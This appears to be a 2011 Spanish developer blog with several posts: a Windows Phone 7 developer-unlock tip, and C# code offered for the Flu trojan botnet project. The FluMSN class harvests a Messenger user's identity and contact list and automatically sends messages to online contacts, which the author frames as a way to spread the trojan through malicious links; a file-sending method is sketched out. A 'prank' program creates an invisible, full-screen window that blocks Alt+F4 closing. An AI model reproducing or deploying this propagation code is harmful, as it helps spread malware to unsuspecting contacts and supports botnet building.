jueves, 2 de junio de 2011

WP7 - Debloqueo del Desarrollador


Acabo de recibir un nuevo teléfono con Windows Phone 7 y lo primero que quiero hacer es probar alguna de las aplicaciones que hice. Lo conecto al pc, sincronizo con Zune y demás rollos, abro Visual Studio 2010, elijo que se ejecute la aplicación en el dispositivo, desbloqueo la pantalla para que no haya problemas y... zasss!! Recibo el siguiente mensaje:

Error al iniciar la aplicación. Asegúrese de que la pantalla del dispositivo está desbloqueada
y que dicho dispositivo no está bloqueado por el desarrollador. Para obtener detalles sobre del
desbloqueo del desarrollador, visite la página web http://go.microso

Sí, has leído bien "http://go.microso". Bueno, ¡no pasa nada! Lo que intenta decirte el error es que vayas a C:\Program Files\Microsoft SDKs\Windows Phone\v7.0\Tools\Phone Registration y ejecutes la aplicación PhoneReg.exe con el teléfono conectado al pc.

Aparecerá una formulario donde debes introducir tu usuario y contraseña de Windows Live Id. Puede que te de un error diciéndote que desbloquees la pantalla y luego pulses reintentar, ningún problema.

Tras aceptar el registro devolverá la siguiente ventana:

¡Tan fácil como esto!

Desde este momento, en nuestra cuenta de App Hub aparecerá el nuevo dispositivo y estará listo para poder ejecutar nuestras aplicaciones a través de Visual Studio o Expression Blend.


Y si tienes dudas ya sabes que puedes consultar "http://go.microso" ;-)


martes, 25 de enero de 2011

POC - FLU MSN

He creado un formulario para mostrar el funcionamiento de la clase FluMSN de la que hablé en el anterior post.

Para ello he puesto unas cuantas labels para mostrar el nick, estado y dirección de e-mail. Un par de ListBox que relleno con los contactos y un textbox junto a un botón para poder enviar mensajes a quellos contactos que estén conectados.


Descargar POCFluMSN.
Contraseña: p4p4y4

MD5: d19800f912af90f932d8b5aa51d0b89b
SHA-1: 5bd2a90326825e18851383260f9ff23dada0bef4

domingo, 23 de enero de 2011

FluMSN

En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!

Mis propósitos eran:
  • Obtener e-mail y nick del usuario. [Conseguido]
  • Listado de todos sus contactos. [Conseguido]
  • Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
  • Enviar mensajes (¿Web maliciosa?). [Conseguido]
  • Enviar ficheros. [Por Conseguir]
He estado haciendo pruebas a través de la API de Messenger y el nuevo Windows Live Messenger 2011, concretamente con la compilación 15.4.3502.922.

El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)

Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.

Ni que decir tiene, que funciona siempre y cuando estemos conectados.

La publicación en el foro de Flu Project la podéis ver en este enlace.

Aquí tenéis el código.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private List contactos=new List();

public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;

}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}

public List ObtenerTodosContactos()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public List ObtenerContactosConectados()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public void EnviarMensaje(List contactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}

//public void EnviarArchivo(List contactos, string archivo)
//{

// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}

sábado, 22 de enero de 2011

NoMoreClicks: Una broma rápida en C#

Se me ha ocurrido que con pocas líneas de código podemos gastar una pequeña broma a nuestro compañero de oficina, clase,etc.

La idea es crear un formulario transparente, sin bordes, que ocupe toda la pantalla y no aparezca en la barra de herramientas al ejecutarlo. Por cada click con el ratón por parte del usuario, la aplicación invisible le devuelve un mensaje con el texto que hayamos predeterminado. También pensé en que no pudiese ser cerrado al pulsar las teclas Alt+F4.

Para ello se han de cambiar unas cuantas propiedades del Form, crear un array de cadenas de texto con los mensajes que queramos y un par de eventos para capturar los clicks del ratón y el que no pueda ser cerrada "fácilmente".

Aquí os dejo el código:
using System;
using System.Windows.Forms;
using System.Net;

namespace NoMoreClicks
{
public partial class Form1 : Form
{
//Declaramos un array de cadena y lo inicializamos con los mensajes que queramos mostrar por cada click
string[] mensajes = { "No pinches.", "¡Qué no pinches!", "¿Por qué pinchas?", "¿Cómo hay que decírtelo?", "¿No vas a parar?"};

//Un entero que almacenará en que posición del array estaremos
int contador = 0;



public Form1()
{

InitializeComponent();
}

//Evento click del Form
private void Form1_Click(object sender, EventArgs e)
{

try
{
//Mostramos el mensaje correspondiente e incrementamos el contador para pasar al siguiente mensaje
MessageBox.Show(mensajes[contador],Dns.GetHostName());
contador++;
}
catch
{
//No quedan más mensajes por mostrar y a partir de ese momento sólo se mostrará el siguiente
MessageBox.Show("No insistas", Dns.GetHostName());
}

}

private void Form1_Load(object sender, EventArgs e)
{
//Cambiamos unas cuantas propiedades del Form para que sea transparente, pantalla completa, sin bordes, etc
this.Opacity = 0.01;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Height=Screen.PrimaryScreen.Bounds.Height;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Top = 0;
this.Left = 0;
}

//Evento FormClosing para que no puedan cerrar la aplicación con Alt+F4 por ejemplo
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}


}
}
Probadlo y ya me comentaréis si hubo éxito o no.

He pasado el código por el foro de Flu Project por si les interesa y lo incluyen en su aplicación. ¿Qué no sabes qué es eso de Flu Project? Entra en su web y echa un vistazo.

Si alguien quiere probarla directamente:

Descargar NoMoreClicks.
Contraseña: 45p4r4gu5

MD5: e0876057fdd1ff2645386cb402bc6172
SHA-1: 1fd3dda4f9522d0958125811c0e044180861d5c3